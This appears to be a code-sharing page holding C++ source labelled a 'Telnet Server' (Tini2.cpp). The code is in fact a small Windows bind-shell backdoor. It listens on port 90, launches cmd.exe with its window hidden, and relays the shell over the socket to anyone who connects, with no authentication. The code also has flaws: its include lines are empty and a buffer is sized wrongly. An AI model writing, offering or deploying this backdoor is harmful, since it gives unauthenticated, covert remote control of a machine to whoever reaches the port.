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| 关键词： NULL pipeattr startinfo RemoteAddr ServerSocket ClientSocket TRUE szAPP hWritePipe ATTRIBUTES |
////////////////////////////////////////////////////////////////////////////////// // Telnet Server. // // File : Tini2.cpp/////////VC 6.0编译通过///////////////////////////////////#include #include #pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib") #define PORT 90 SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;u_char varA,varB; DWORD WINAPI ThreadFuncA( LPVOID lpParam ){SECURITY_ATTRIBUTES pipeattr;DWORD nByteToWrite, nByteWritten;char recv_buff[1024]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor = NULL;pipeattr.bInheritHandle = TRUE;CreatePipe(&hReadPipe,&hWriteFile,&pipeattr,0); varA = 1;while(true){Sleep(250);nByteToWrite = recv(ClientSocket,recv_buff,1024,0);WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);}return 0;} DWORD WINAPI ThreadFuncB( LPVOID lpParam ){SECURITY_ATTRIBUTES pipeattr;DWORD len;char send_buff[25000]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor = NULL;pipeattr.bInheritHandle = TRUE; CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0); varB = 1;while (true){ReadFile(hReadFile,send_buff,25000,&len,NULL); send(ClientSocket,send_buff,len,0);}return 0;} void main(){ WSADATA WSAData;struct sockaddr_in RemoteAddr;int nRetCode;DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;OSVERSIONINFO osvi;PROCESS_INFORMATION processinfo;STARTUPINFO startinfo; WSAStartup(MAKEWORD(2,2),&WSAData);ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);RemoteAddr.sin_family = AF_INET;RemoteAddr.sin_port = htons(PORT);RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY; bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));listen(ServerSocket, 5); varA = 0;varB = 0;CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB); do{Sleep(250);}while((varA || varB) == 0); GetStartupInfo(&startinfo);startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;startinfo.hStdInput = hReadPipe;startinfo.hStdError = hWritePipe;startinfo.hStdOutput = hWritePipe;startinfo.wShowWindow = SW_HIDE; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osvi);char szAPP[256];GetSystemDirectory(szAPP,MAX_PATH+1); if(osvi.dwPlatformId == 2){strcat(szAPP,"\\cmd.exe");if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo, &processinfo) == 0){printf ("CreateProcess Error!\n");return;}}else{strcat(szAPP,"\\command.exe");CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);} while (true){ClientSocket = accept(ServerSocket, NULL, NULL);Sleep(250);}} |
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